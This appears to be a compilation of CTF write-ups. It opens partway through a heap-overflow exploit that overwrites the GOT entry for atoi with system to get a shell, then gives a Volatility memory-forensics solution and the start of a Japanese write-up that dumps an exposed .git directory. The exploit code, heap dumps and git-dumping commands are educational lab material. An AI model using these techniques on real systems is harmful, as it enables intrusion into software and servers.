```0x625180: 0x0000000000000031 0x0000000000000031 <-- chunk 80x625190: 0x0000000000000051 0x00000000006251c00x6251a0: 0x0000000000000008 0x0000000000401d610x6251b0: 0x0000000000000031 0x0000000000000061 [supposedly free] <------+0x6251c0: 0x4141414141414141 0x000000000000000a |0x6251d0: 0x0000000000000000 0x0000000000000000 |0x6251e0: 0x0000000000000000 0x0000000000000000 | 0x6251f0: 0x0000000000000000 0x0000000000000000 |0x625200: 0x0000000000000000 0x0000000000000000 |0x625210: 0x0000000000000061 0x0000000000000031 <-- chunk 9 | 0x625220: 0x0000000000000031 0x0000000000625250 <-- dataptr 9 |0x625230: 0x0000000000000008 0x0000000000401d61 |0x625240: 0x0000000000000031 0x0000000000000041 | 0x625250: 0x4141414141414141 0x4141414141414141 ... | 0x625260: 0x4141414141414141 0x4141414141414141 1-byte overflow | 0x625270: 0x4141414141414141 0x4141414141414141 ... | 0x625280: 0x00000000000000d0 0x0000000000000030 <-- chunk 10 [footer/overwritten prev_size field]0x625290: 0x0000000000000071 0x00000000006252c0```
Then, `coalesce` will follow up. Knowing that we want to intentionally fall under the 4th case, this is the code we're interested in:
```cblock_t *block_next = find_next(block);block_t *block_prev = find_prev(block); ...size_t size = get_size(block); ... size += get_size(block_next) + get_size(block_prev);write_header(block_prev, size, false);write_footer(block_prev, size, false);block = block_prev;```
```block_next == 0x625280 + 0x30 == 0x6252b0block_prev == 0x625280 - 0xd0 == 0x6251b0size == 0x30 + 0x30 + 0x60 == 0x110block == 0x6251b0```
We can safely conclude that the final coalesced chunk will be at address `0x6251b0` with `header` and `footer` of size `0x110`.
```0x625180: 0x0000000000000031 0x00000000000000310x625190: 0x0000000000000051 0x00000000006251c00x6251a0: 0x0000000000000008 0x0000000000401d610x6251b0: 0x0000000000000031 0x0000000000000110 <-- coalesced chunk0x6251c0: 0x4141414141414141 0x000000000000000a0x6251d0: 0x0000000000000000 0x00000000000000000x6251e0: 0x0000000000000000 0x00000000000000000x6251f0: 0x0000000000000000 0x00000000000000000x625200: 0x0000000000000000 0x00000000000000000x625210: 0x0000000000000061 0x0000000000000031 <-- chunk 9 [still in use]0x625220: 0x0000000000000031 0x0000000000625250 <-- dataptr 90x625230: 0x0000000000000008 0x0000000000401d610x625240: 0x0000000000000031 0x00000000000000410x625250: 0x4141414141414141 0x41414141414141410x625260: 0x4141414141414141 0x41414141414141410x625270: 0x4141414141414141 0x41414141414141410x625280: 0x00000000000000d0 0x00000000000000300x625290: 0x0000000000000071 0x00000000006252c00x6252a0: 0x0000000000000008 0x0000000000401d610x6252b0: 0x0000000000000030 0x00000000000000800x6252c0: 0x0000000000000110 0x000000000000000a```
Look at that! The coalesced chunk got moved *before* chunk 9, which is currently in use. Why was that so easy you may ask. It's based on a flaw/feature in the allocator's implementation.
`coalesce` checks if the previous chunk is free by calling `extract_alloc`. Its corresponding code is this:
```c/* * extract_alloc: returns the allocation status of a given header value based * on the header specification above. */static bool extract_alloc(word_t word){ return (bool)(word & alloc_mask);}```
Which depends on the return value of `find_prev_footer`, which returns the address of the **footer of the previous chunk** (meaning `0x625280`, meaning data pointer 9's `footer` field in our case):
```c/* * find_prev_footer: returns the footer of the previous block. */static word_t *find_prev_footer(block_t *block){ // Compute previous footer position as one word before the header return (&(block->header)) - 1;}```
Once `find_prev_footer` is done, `extract_alloc` will check if its previous chunk is free by AND-ing the lsb of the footer's value (`0xd0` in our case) with `alloc_mask`.
```cstatic const word_t alloc_mask = 0x1;```
That is a major implementation win (and lack of security checks) for us. If it were to check the *header* of data pointer 9, it'd find out that it's actually in use! It's time to overlap chunk 9 with a newly allocated chunk so that we can overwrite chunk 9's data pointer with a GOT entry in order to leak libc.
### _Libc Leak_
In order to get our beloved libc's base address, all we have to do is request a chunk of size less than 0x110. The reason for that is described in the allocator's documentation.
```Upon memory request of size S, a block of size S + dsize, rounded up to 16 bytes, is allocated on the heap, where dsize is 2*8 = 16. Selecting the block for allocation is performed by finding the first block that can fit the content based on a first-fit or next-fit search policy. The search starts from the beginning of the heap pointed by heap_listp. It sequentially goes through each block in the implicit free list, the end of the heap, until either - A sufficiently-large unallocated block is found, or - The end of the implicit free list is reached, which occurs when no sufficiently-large unallocated block is available. In case that a sufficiently-large unallocated block is found, then that block will be used for allocation. Otherwise--that is, when no sufficiently-large unallocated block is found--then more unallocated memory of size chunksize or requested size, whichever is larger, is requested through sbrk, and the search is redone. ```
The keyword phrase is this:
```The search starts from the beginning of the heap pointed by heap_listp```
That straight up tells us that the entire heap state is basically stored as a linked-list. That is, there is a global pointer variable named `heap_listp` which points to the first allocated chunk. The first/next-fit search algo is the following:
```c/* * find_fit: Looks for a free block with at least asize bytes with * first-fit policy. Returns NULL if none is found. */static block_t *find_fit(size_t asize){ block_t *block;
for (block = heap_listp; get_size(block) > 0; block = find_next(block)) {
if (!(get_alloc(block)) && (asize <= get_size(block))) { return block; } } return NULL; // no fit found}```
Practically, it loops though the linked-list until it finds a free chunk with a big enough size. It accomplishes that by extracting the size of the currently checked chunk and it adds that to its address in order to check the next one and so on. No chunk is free up until the coalesced chunk, which gives us the opportunity to take advantage of the first-fit algo and allocate a new chunk at `0x6251c0`.
```pythonalloc(0xa0, 'F'*0x20 + p64(0x61) + p64(0x31) * 2 + p64(atoi_got) + p64(8) + p64(atoi_got))```
```0x625180: 0x0000000000000031 0x0000000000000031 <-- chunk 80x625190: 0x0000000000000051 0x00000000006251c0 <-- dataptr 80x6251a0: 0x0000000000000008 0x0000000000401d610x6251b0: 0x0000000000000031 0x0000000000000031 <-- new chunk0x6251c0: 0x00000000000000a1 0x00000000006251f0 <-- new chunk dataptr0x6251d0: 0x0000000000000008 0x0000000000401d610x6251e0: 0x0000000000000031 0x00000000000000b10x6251f0: 0x4646464646464646 0x46464646464646460x625200: 0x4646464646464646 0x46464646464646460x625210: 0x0000000000000061 0x0000000000000031 <-- chunk 90x625220: 0x0000000000000031 0x0000000000603098 <-- dataptr 9 => atoi's GOT0x625230: 0x0000000000000008 0x0000000000603098```
Ayyy! Chunk 9's data pointer was successfully overwritten with atoi's GOT entry. Now we can free chunk 9 which in return will print its data pointer. Notice how I overwrote the hardcoded string's address with atoi's GOT entry as well. That's because `delete` works in the following way:
```asm mov qword [rbp-0x18], rdi mov rax, qword [rbp-0x18] mov rax, qword [rax+0x18] mov esi, 0x401d61 {"Neonate\n"} mov rdi, rax call strcmp test eax, eax t - - - - - jne 0x401593 - - - - - f | | mov rax, qword [rbp-0x18] mov rax, qword [rbp-0x18] mov rax, qword [rax+0x8] mov rax, qword [rbp-0x18] mov rdi, rax mov rdi, rax call mm_free call mm_free```
If the hardcoded string isn't the hardcoded string afterall, it will just free the chunk itself and not the data pointer. That is a bypass we want to achieve otherwise it would free the GOT entry as well which would lead to a segfault (feel free to do the maths by yourself).
```0x625210: 0x0000000000000061 0x0000000000000030 <-- chunk 90x625220: 0x0000000000000031 0x0000000000603098 <-- dataptr 90x625230: 0x0000000000000008 0x00000000006030980x625240: 0x0000000000000030 0x0000000000000041```
As you can see chunk 9's `header` and `footer` fields got updated. We're good to go.
### _Pwning Time_
The heap state is a big mess at the moment but we can get RIP control if we just look at it careful enough.
```0x625180: 0x0000000000000031 0x0000000000000031 <-- chunk 80x625190: 0x0000000000000051 0x00000000006251c0 <-- dataptr 80x6251a0: 0x0000000000000008 0x0000000000401d610x6251b0: 0x0000000000000031 0x0000000000000031 <-- new chunk0x6251c0: 0x00000000000000a1 0x00000000006251f0 <-- new chunk dataptr0x6251d0: 0x0000000000000008 0x0000000000401d610x6251e0: 0x0000000000000031 0x00000000000000b10x6251f0: 0x4646464646464646 0x46464646464646460x625200: 0x4646464646464646 0x46464646464646460x625210: 0x0000000000000061 0x0000000000000030 <-- chunk 9 [free]0x625220: 0x0000000000000031 0x00000000006030980x625230: 0x0000000000000008 0x00000000006030980x625240: 0x0000000000000030 0x0000000000000041```
What if we edit chunk 8's data pointer? It points to `0x6251c0` which is the new chunk's data! That way we can overwrite new chunk's data pointer with atoi's GOT entry and then call `edit` on the new chunk to overwrite `atoi` with `system`! Game over!
```python# overwrite heap pointer with atoi's GOT entryedit(8, p64(9) + p64(atoi_got))```
```0x625180: 0x0000000000000031 0x0000000000000031 <-- chunk 80x625190: 0x0000000000000051 0x00000000006251c0 <-- dataptr 80x6251a0: 0x0000000000000008 0x0000000000401d610x6251b0: 0x0000000000000031 0x0000000000000031 <-- new chunk 0x6251c0: 0x0000000000000009 0x0000000000603098 <-- new chunk dataptr => atoi GOT0x6251d0: 0x000000000000000a 0x0000000000401d61```
```pythonedit(12, p64(system))```
```gdb-peda$ x 0x00000000006030980x603098: 0x00007ffff7a52390gdb-peda$ x 0x00007ffff7a523900x7ffff7a52390 <__libc_system>: 0xfa86e90b74ff8548```
Voila! Next time we're prompted with the menu option, we can enter `sh` which will go through what is supposed to be `atoi` but it's `system` instead and we'll get a gorgeous shell!
```[+] atoi: 0x7ffff7a43e80[+] Libc: 0x7ffff7a0d000[+] system: 0x7ffff7a43e80[*] Switching to interactive mode$ pwd/home/admin/chal$ lsflag.txtstart.shtempletemple.txt$ cat flag.txtTUCTF{0n3_Byt3_0v3rwr1t3_Ac0lyt3}```
|
# G1bs0n - misc 300###### @mjdubell - ChalmersCTF
```Agent Gill called, we have until tomorrow at 15:00 UTC to fix some virus problem.
File: G1bs0n.tar.gz```
Even though I followed too many rabbit holes, this was a fun challenge to work on. In order to solve this challenge, you would need some basic understanding on how to analyze memory dumps. I solved this challenge with `volatility` which is a forensic tool for analyzing memory dumps, and it's built with python! Volatility can be found here https://github.com/volatilityfoundation/volatility
After downloading the memory dump, I ran `strings G1bs0n > strings.txt` which I then skimmed through to see what kind of information was present. I could quickly determine that the memory dump belonged to a Windows 7 system. Volatility can also help identifying the system by running `vol.py -f G1bs0n imageinfo` which returned:
```vagrant@stretch:~/G1bson$ vol.py -f G1bs0n imageinfoVolatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : VMWareAddressSpace (Unnamed AS) AS Layer3 : FileAddressSpace (/home/vagrant/G1bson/G1bs0n) PAE type : No PAE DTB : 0x187000L KDBG : 0xf8000284f0a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002850d00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2017-09-03 10:33:21 UTC+0000 Image local date and time : 2017-09-03 12:33:21 +0200```
Now that the system has been identified, the hunt for the flag can begin!
## RECON
I began by extracting a list of all files present in the dump.```vol.py -f G1bs0n --profile=Win7SP0x64 filescan > filescan.txt```
From here I could identify some interesting files such as:```0x000000003fe14390 16 0 R--rwd \Device\HarddiskVolume2\Users\plauge\Desktop\g4rb4g3.txt```
Let's extract the contents of that file!```vol.py -f G1bs0n --profile=Win7SP0x64 dumpfiles -Q 0x000000003fe14390 --name -D files/```
Running `strings file.None.0xfffffa8001264bb0.g4rb4g3.txt.dat` revealed `_X43EUC_3H64YC{GPRF`, could this be part of the flag???
## Don't follow the white rabbit
At this point I assumed I had some part of the flag and I followed a few rabbit holes looking for the next part of the flag. But after taking a break, I started looking for files with the keyword `gibson` which yielded the following result:
```vagrant@stretch:~/G1bson$ grep gibson strings.txtjpg C:\T3MP\gibson.jpgcertutil -decode gibson.jpg gibson.zip >nuldel gibson.zip[...]```
The windows command `certutil` was used to decode base64 data found in gibson.jpg and the result is gibson.zip. The next step was to search for `gibson` in filescan.txt to find the above files.
```vagrant@stretch:~/G1bson$ grep gibson filescan.txt0x000000003ed50dd0 16 0 -W-r-- \Device\HarddiskVolume2\T3MP\gibson.jpgp```
Great, now extract the file like before:
```vol.py -f G1bs0n --profile=Win7SP0x64 dumpfiles -Q 0x000000003ed50dd0 --name -D files/```
Opening the resulting file showed that it contained base64 data, and since we know that certutil was used to decode the data, let's do the same thing:
```C:\Users\sect\Documents\Virtual_Machines\ubuntu\shareλ certutil -decode gibson.jpgp gibson.zipInput Length = 4096Output Length = 1409CertUtil: -decode command completed successfully.```
## GET THE FLAG
The .zip file contained three files (run.bat, run.ps1, run.reg) with some interesting data, but only one of them contained the next part of the flag:
```[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]"Special"="}JGS_3G4X_GH0_3Z"```
Now we have the flag, but it doesn't look correct: `_X43EUC_3H64YC{GPRF}JGS_3G4X_GH0_3Z`
Reversing the flag and applying ROT13 returned the flag in the wrong order `M3_0UT_K4T3_FTW}SECT{PL46U3_PHR34K_`. By moving `M3_0UT_K4T3_FTW}` to the end of the string we get the correct flag: `SECT{PL46U3_PHR34K_M3_0UT_K4T3_FTW}` |
# ▼▼▼Git Gud(Web:100)、527/948team=55.6%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```Jimmy has begun learning about Version Control Systems and decided it was a good time to put it into use for his person website. Show him how to Git Gud.
http://gitgud.tuctf.com```
-----
問題名がgitなので、下記フォルダにアクセスしてみる。
```GET /.git/ HTTP/1.1Host: gitgud.tuctf.com```↓```HTTP/1.1 200 OKDate: Sat, 25 Nov 2017 05:16:20 GMTServer: Apache/2.4.10 (Debian)Vary: Accept-EncodingContent-Length: 3081Connection: closeContent-Type: text/html;charset=UTF-8
<html> <head> <title>Index of /.git</title> </head> <body><h1>Index of /.git</h1> <table> <tr><th valign="top"></th><th>Name</th><th>Last modified</th><th>Size</th><th>Description</th></tr> <tr><th colspan="5"><hr></th></tr><tr><td valign="top"></td><td>Parent Directory</td><td> </td><td align="right"> - </td><td> </td></tr><tr><td valign="top"></td><td>COMMIT_EDITMSG</td><td align="right">2017-11-24 22:43 </td><td align="right">237 </td><td> </td></tr><tr><td valign="top"></td><td>HEAD</td><td align="right">2017-11-21 22:45 </td><td align="right"> 23 </td><td> </td></tr><tr><td valign="top"></td><td>ORIG_HEAD</td><td align="right">2017-11-21 22:45 </td><td align="right"> 41 </td><td> </td></tr><tr><td valign="top"></td><td>branches/</td><td align="right">2017-11-21 22:45 </td><td align="right"> - </td><td> </td></tr><tr><td valign="top"></td><td>config</td><td align="right">2017-11-21 22:45 </td><td align="right"> 92 </td><td> </td></tr><tr><td valign="top"></td><td>description</td><td align="right">2017-11-21 22:45 </td><td align="right"> 73 </td><td> </td></tr><tr><td valign="top"></td><td>hooks/</td><td align="right">2017-11-21 22:45 </td><td align="right"> - </td><td> </td></tr><tr><td valign="top"></td><td>index</td><td align="right">2017-11-24 22:42 </td><td align="right">529 </td><td> </td></tr><tr><td valign="top"></td><td>info/</td><td align="right">2017-11-21 22:45 </td><td align="right"> - </td><td> </td></tr><tr><td valign="top"></td><td>logs/</td><td align="right">2017-11-21 22:45 </td><td align="right"> - </td><td> </td></tr><tr><td valign="top"></td><td>objects/</td><td align="right">2017-11-24 22:42 </td><td align="right"> - </td><td> </td></tr><tr><td valign="top"></td><td>refs/</td><td align="right">2017-11-21 22:45 </td><td align="right"> - </td><td> </td></tr> <tr><th colspan="5"><hr></th></tr></table><address>Apache/2.4.10 (Debian) Server at gitgud.tuctf.com Port 80</address></body></html>```↓
gitデータを発見できた
-----
gitデータを取得する
↓
```$ perl rip-git.pl -v -u http://gitgud.tuctf.com/.git/[i] Downloading git files from http://gitgud.tuctf.com/.git/[i] Auto-detecting 404 as 200 with 3 requests[i] Getting correct 404 responses[i] Using session name: uHDjuxgy[d] found COMMIT_EDITMSG[d] found config[d] found description[d] found HEAD[d] found index[!] Not found for packed-refs: 404 Not Found[!] Not found for objects/info/alternates: 404 Not Found[!] Not found for info/grafts: 404 Not Found[d] found logs/HEAD[d] found objects/53/3b77a8e575c929e23929dbc81a58feff50be30[d] found objects/85/817d8bcfd8b578b065fbcceb8cda3d11ac5f77[d] found objects/2b/f27e3ef01b459a6d573b3bcd760f19da453a74[d] found objects/03/b43cac7287c68eb7c89e47bf0907a0600126f0[d] found objects/cf/b7e1cbb11d866d4084920fde50077d26bb0953[d] found objects/2c/6190537a2655121ccb9647765fa99687afec25[d] found objects/4f/a0acbccd0885dace2f111f2bd7a120abc0fb4e[d] found objects/b7/f1a7252c33f95c70b723cbfb2c1dd8aabf5545[d] found objects/2c/6190537a2655121ccb9647765fa99687afec25[d] found objects/b7/f1a7252c33f95c70b723cbfb2c1dd8aabf5545[d] found objects/2c/6190537a2655121ccb9647765fa99687afec25[d] found objects/22/f63ceab55efe05c5448676a3470b13b6545f74[d] found objects/40/b1b2d413f94b7d31c2ed1f6594053393d6bf5f[d] found objects/d8/b0e38d80f0ede68ae31e8281510340c429d71f[d] found objects/0e/fe9b6c15150d6318e9531ab52205b9deeeb02b[d] found objects/60/1f8b1517e013453a9d65383f6c77e18a683775[d] found objects/3c/a6f67f6e0d2a84709ddf1d93ccc8e552a6cd28[d] found objects/ba/b29294d410e7f2e3543d5018559809477c5873[d] found objects/a6/d68038d59f27c0b90976617a64b933ac016d87[d] found objects/55/b4ae7d2a98d6e5afecd4765a5fd8196036ffa7[d] found objects/9e/78ef4e494a8e9288ba85b07e34f64c88327fe5[d] found objects/34/6114b24e1797a8db126dde23106f793c7c0f51[d] found objects/f8/95f5561ef6ee238a23a2fa504571ffb4223096[d] found objects/15/5a17ef658aa77dd7c482035d98c745881a56ab[d] found objects/08/cd273897b150e35fb0cea7af3c4ccc434de81e[d] found objects/15/efa7acd0acb66872892488546e283b166dd201[d] found objects/3e/be7abbb15eacfff960f16c6fda51bbd5f54352[d] found objects/bf/bafda9b116c2f762485b00d546eb89b2b4de02[d] found objects/b8/c0fb10976809a46ee2d7ddfec11884179b1ebb[d] found objects/ae/0b4f2ea0b2cffdc8da029d7b12a3801dbecf2a[d] found objects/48/86e3f73da81de2f17d3151ab6acafd1791d2d6[d] found objects/95/903dc1c79b3febf2539b427a2e67c59c8bed90[d] found objects/f6/0c31d83c09154f28e0be41b1d5dbaa5c395cf5[d] found objects/55/1e6fc80b1f578c1dcca37457a9a1227418e7d2[d] found objects/3f/c9676f3cd72057f871bb549285bfba9104594a[d] found objects/2d/d3e17e06c01fa0350ba262cd7145a6490a6164[d] found objects/1f/7da9fec05bdd6cce46648c4ccd69fe01bbbc0e[d] found objects/b6/d67496b526f15f908be4ae02cd8318c27ad68a[d] found objects/54/c176f726f9d8f0c41e24376ec23e69177aec35[d] found objects/d9/776dd49fdd578d807df6a23f601d1e210dbbc3[d] found objects/9c/de9ce8cde96970924842eefbd6639223205e21[d] found objects/6e/30239743abe21d07c316ffa5848a24da4d3fa2[d] found objects/0c/cdc6a7878f2cd0df100f34d094ce7e9f8dcef0[d] found objects/a6/2a1b71b8f7c0ac423dc3df42a68aa308bfaf4a[d] found objects/79/7db1ded045bbef03fcfcad00927ede6487a586[d] found objects/d3/30d7bd1b0b092309e6e7e9df4d0662190e57b7[d] found objects/af/63f881586d54015d5a20b23aac2b3b3c86aec7[d] found objects/68/f454f26007f6a58f77abe3e8970840c9470d38[d] found objects/8e/7b147046124e3103d3182ca0da5496cbbd54b4[d] found objects/95/306a2294ec653ca81d8f92f343893b21286e89[d] found objects/56/1631b333516a8db23d4bef1700e84469ee0ac5[d] found objects/3c/23eefd95613aac91e36ff346d747d75ec5e3c5[d] found refs/heads/master[i] Running git fsck to check for missing itemsChecking object directories: 100% (256/256), done.error: 587646f096504f6d9ecbe310ef5f835d0bbc15b8: invalid sha1 pointer in cache-tree[d] found objects/01/c4e4b4cc1e82e233045d9b3434616d2e9facd9[d] found objects/06/fa94aeb2aef1f589d28873d6b5fc5a40aab2c7[d] found objects/06/4cd23bc06b1a6dda5fcd373c938c75b4c5c6a3[d] found objects/0c/8e6d8c7e47f8626accee6c35bda538777337b3[d] found objects/0d/fd1eb828f857ce95bcd593ee474fc392bfda4f[d] found objects/1a/348966ee0bee969c0ab166510ef08535ff13d4[d] found objects/1c/0a7b5f06b09258fbc5a16759b3a81667c74f73[d] found objects/23/2d6e2c81ef85274a976c75bd68101f03089b43[d] found objects/24/b4bf37c50254adb625e1bac4ae7c37314213fe[d] found objects/22/44071102be6bb65a435ff1be1164f37d8caf4e[d] found objects/29/55848ec0f9004907a0cbe852c01467739f5430[d] found objects/2d/9bd8fc55a09a75b8b4886e191ba4ea061cfac5[d] found objects/34/ed56628c6b84516529454eb1c0c5049e6de506[d] found objects/36/137e94e2900527f77f25ac0b91d8823d488ee3[d] found objects/45/2a1095a1da29ccfe97f49c65586deb20aba5ab[d] found objects/4d/cf5c4c62811ef7665ed18ab67da1ffad920938[d] found objects/58/7646f096504f6d9ecbe310ef5f835d0bbc15b8[d] found objects/55/22795004f0d170e1ea2b0dc1e3545e1f106b20[d] found objects/53/e78934a88c4414e292245db4484c5e6d131373[d] found objects/55/08313f831221968a5d66416c280162ae40170c[d] found objects/5c/c9f63f4ba71749f025d7e3cbe0e806a3ed3702[d] found objects/61/315dcca584181b2580b1cdf6e5d36f0323a752[d] found objects/66/72f0adcdd85d6f0c7555f3439b801a71856475[d] found objects/6d/532f3e98943a51522320e7e6b92bfcf299cd54[d] found objects/71/ca7c3cda0d2846ef46ab8d930f1137c2835ca1[d] found objects/71/437abc098466c47bd9b870e7ab9ef2eae9ac45[d] found objects/72/f770d4d8cb1a30e093c408ad69babb15c32997[d] found objects/7c/4f089886c5db8b8661729fd852bc60763a123e[d] found objects/80/d5d4aa7b03d77c4dd40e6e28c6cc78772461b5[d] found objects/8c/784900e0d8308473058747f016081d58b76443[d] found objects/92/bc3733e71c917f6d71ad22819a82ac6ad52b38[d] found objects/95/8d7ae6639aceff99fa080a946acc39a3c6db2e[d] found objects/9a/00dc47684f52e72dac9f698d86362a71d9eeb3[d] found objects/9b/67157136ae057343ea107b60a86ed5599632b3[d] found objects/a2/f3eb817374e29e2ad8013cecfc6710b1c29d9a[d] found objects/a5/cb3d11faef6d68c44de8c911d72fa9b5a6bb70[d] found objects/a8/664803cf90f37903afe1a56b8c9ee723dd9e7f[d] found objects/b0/f30828b576f99e0f7b906b751a32969182913f[d] found objects/bb/0399016a7a78be499628c53e43dbaf5a6174d6[d] found objects/bd/373b44b3b50623e57336ecf489a29576d5f473[d] found objects/c2/faf8ca93d1db420d2dcfdc8e2b70c5d85bc524[d] found objects/d0/bf8e4df3e3d293e6cbec51deaad4db12232c45[d] found objects/d1/4a15f980006676d981e36e2be259d3bc569cf1[d] found objects/d5/c920032124df5b879ffacb99b0c29132cb7d49[d] found objects/db/478483b3269715ee0ab99b51745714c808d574[d] found objects/dc/dab14f69260c50a4081cdcf2b7b6084678c134[d] found objects/e4/ce37c4e360405db98a602cb3b9e566e873f4a7[d] found objects/e9/e3d44508772832ac8eab3dbfd1cff0cdd3aeb2[d] found objects/ee/f0a85bc8c9d2e36ddad686bae2ed7143a2e10b[d] found objects/f3/dd2fe6692e4a19717f0195717b6851dd3524c3[d] found objects/f6/9423102d010b4f49379141b53a58ba3672c835[d] found objects/f7/3869185fca9c2dfa786179d8ebd81745b90b01[d] found objects/f8/54c222c3bfd31e305458ad9008c6e8ba55d5dd[i] Got items with git fsck: 53, Items fetched: 53[i] Running git fsck to check for missing itemsChecking object directories: 100% (256/256), done.[d] found objects/22/a81b6afb2d31b7b40c8e997ea3f80ca03a31a3[d] found objects/23/6e85286747e3bd42819f173ec5c7bcc15cb4f6[d] found objects/25/121cd6f15776125c846b78e6e3caef9f4717df[d] found objects/25/328860bdfb08881715caf94167c1d534408014[d] found objects/25/e084a05a90d221cd04ecc9c82d4d984c672bfb[d] found objects/2a/a0538aedb9789146d2aba319416284c98e1775[d] found objects/2d/20ef3abaddd1aba6f97084a6e6a70b268f650c[d] found objects/42/6cdd1ac2531fa5e8d9ac3d18f3d6098337ec5a[d] found objects/4e/c2792b20f38c5ba23efba05275ac70d388fc58[d] found objects/75/a2c5fbf42d2408833553d1189bf72f5b198768[d] found objects/a1/28fc01d0bb67a731484107f469c5eb92408eae[d] found objects/ab/32ceae6d99cf75b9a7ac475c95b3d4f4e754e7[d] found objects/b1/5442502509af151406ee21903cf44dff340f70[d] found objects/b8/665ba15c1c9c511dba4c89d82d2fe521d42b28[d] found objects/ba/0ee6b359d7e8c4f826090bf664fd0dd89f23a8[d] found objects/e7/1e1d004b2cbfdf45be9b268eb1364c9e4a3696[d] found objects/fa/aee4b5ed4d80a475a1788dc234fd1bb99f4422[d] found objects/fe/4ea28ea917479fa7e32dc84a8c23e0470fb5f0[d] found objects/07/f94347618e434e9970995674ba6c7103912a5d[d] found objects/0a/a3bd788682a7f9c8268bdb176d8491ae869d63[d] found objects/0e/43601b1f27d9f8d8788481781e68500683f2bc[d] found objects/1a/b1f7b746b2cf873546900b0b33235ba659d605[d] found objects/1b/8dce466f869b64930f9238524c57f050f69d5f[d] found objects/2a/31291a3ab4f8f05e9a421617abaa524da0b89f[d] found objects/30/cd5f1554abbe86c3b73599319f9075370e3cfc[d] found objects/35/3589fc6a0a098f208cd7b2a391ecc4b65d8b56[d] found objects/3b/95486c5e868f7f76c61cffe95adfecc6418df1[d] found objects/4a/835d7c87951e3cc88a641f94919b5f37bf8fa0[d] found objects/64/2bc646f7b9fa4ea352f418aa52246aa79f5894[d] found objects/90/2328d138371b4ff66e0bcbe49b58d3f5c428a6[d] found objects/98/5dd436af62c76daa694f9fd2bcbd5ca68b61f3[d] found objects/a0/438b2b3f9c41b14ff02eae8ece9a4384bdcbf9[d] found objects/ad/d99a2fe597e65b6c6abbdb47d4c7be69bc7b18[d] found objects/ad/975019c0bb29981a9bdf54674a66a171ed1014[d] found objects/b3/0d6e108f562a8291076c6b0af74a6537ce5f2b[d] found objects/ba/a136b9979826b6f1a8a6fcdcc58df0677dba04[d] found objects/ba/11f6421a9dcfab82256c74b6023c897cdfa389[d] found objects/cb/03688c1e2ce92346c4baed63787e807e1269c2[d] found objects/d3/77b37ae193d6b773e300e5fbd6c29142193842[d] found objects/d8/33bbffb80d9a1d58acf76854a8d2c905926dff[d] found objects/f8/2198150dc4cd132cd30bacf83898c172a7cf65[d] found objects/fa/b1084fda7ddb5e0cf71cbefcf6c835654244db[i] Got items with git fsck: 42, Items fetched: 42[i] Running git fsck to check for missing itemsChecking object directories: 100% (256/256), done.[i] Got items with git fsck: 0, Items fetched: 0[!] No more items to fetch. That's it!```↓
下記ファイルを取得できた
`about.html blog.html contact.html gitgud.gif index.html`
↓
特にflagらしきものは発見できない。
-----
gitのlogを確認していく。
↓
```GET /.git/logs/HEAD HTTP/1.1Host: gitgud.tuctf.com```↓```HTTP/1.1 200 OKDate: Sat, 25 Nov 2017 05:30:47 GMTServer: Apache/2.4.10 (Debian)Last-Modified: Fri, 24 Nov 2017 22:43:36 GMTETag: "203c-55ec24882eec0"Accept-Ranges: bytesContent-Length: 8252Connection: close
0000000000000000000000000000000000000000 533b77a8e575c929e23929dbc81a58feff50be30 Jimmy <[email protected]> 1511293760 +0000 commit (initial): Initial commit533b77a8e575c929e23929dbc81a58feff50be30 85817d8bcfd8b578b065fbcceb8cda3d11ac5f77 Jimmy <[email protected]> 1511293803 +0000 commit: Created index85817d8bcfd8b578b065fbcceb8cda3d11ac5f77 2bf27e3ef01b459a6d573b3bcd760f19da453a74 Jimmy <[email protected]> 1511293901 +0000 commit: Added about page2bf27e3ef01b459a6d573b3bcd760f19da453a74 03b43cac7287c68eb7c89e47bf0907a0600126f0 Jimmy <[email protected]> 1511293917 +0000 commit: Added contact page03b43cac7287c68eb7c89e47bf0907a0600126f0 cfb7e1cbb11d866d4084920fde50077d26bb0953 Jimmy <[email protected]> 1511295249 +0000 commit: Added blogcfb7e1cbb11d866d4084920fde50077d26bb0953 2c6190537a2655121ccb9647765fa99687afec25 Jimmy <[email protected]> 1511297071 +0000 commit: Updated blog2c6190537a2655121ccb9647765fa99687afec25 4fa0acbccd0885dace2f111f2bd7a120abc0fb4e Jimmy <[email protected]> 1511297220 +0000 commit: Added flag4fa0acbccd0885dace2f111f2bd7a120abc0fb4e b7f1a7252c33f95c70b723cbfb2c1dd8aabf5545 Jimmy <[email protected]> 1511297303 +0000 commit: Updated blogb7f1a7252c33f95c70b723cbfb2c1dd8aabf5545 2c6190537a2655121ccb9647765fa99687afec25 Jimmy <[email protected]> 1511297369 +0000 checkout: moving from master to 2c6190537a2652c6190537a2655121ccb9647765fa99687afec25 b7f1a7252c33f95c70b723cbfb2c1dd8aabf5545 Jimmy <[email protected]> 1511297446 +0000 checkout: moving from 2c6190537a2655121ccb9647765fa99687afec25 to masterb7f1a7252c33f95c70b723cbfb2c1dd8aabf5545 2c6190537a2655121ccb9647765fa99687afec25 Jimmy <[email protected]> 1511297454 +0000 reset: moving to 2c6190537a26552c6190537a2655121ccb9647765fa99687afec25 22f63ceab55efe05c5448676a3470b13b6545f74 Jimmy <[email protected]> 1511297558 +0000 commit: Added flag22f63ceab55efe05c5448676a3470b13b6545f74 40b1b2d413f94b7d31c2ed1f6594053393d6bf5f Jimmy <[email protected]> 1511297597 +0000 commit: Updated blog40b1b2d413f94b7d31c2ed1f6594053393d6bf5f d8b0e38d80f0ede68ae31e8281510340c429d71f Jimmy <[email protected]> 1511298015 +0000 commit: Added about page to indexd8b0e38d80f0ede68ae31e8281510340c429d71f 0efe9b6c15150d6318e9531ab52205b9deeeb02b Jimmy <[email protected]> 1511298118 +0000 commit: Added contact to index0efe9b6c15150d6318e9531ab52205b9deeeb02b 601f8b1517e013453a9d65383f6c77e18a683775 Jimmy <[email protected]> 1511298184 +0000 commit: Added blog to index601f8b1517e013453a9d65383f6c77e18a683775 3ca6f67f6e0d2a84709ddf1d93ccc8e552a6cd28 Jimmy <[email protected]> 1511298247 +0000 commit: Added line 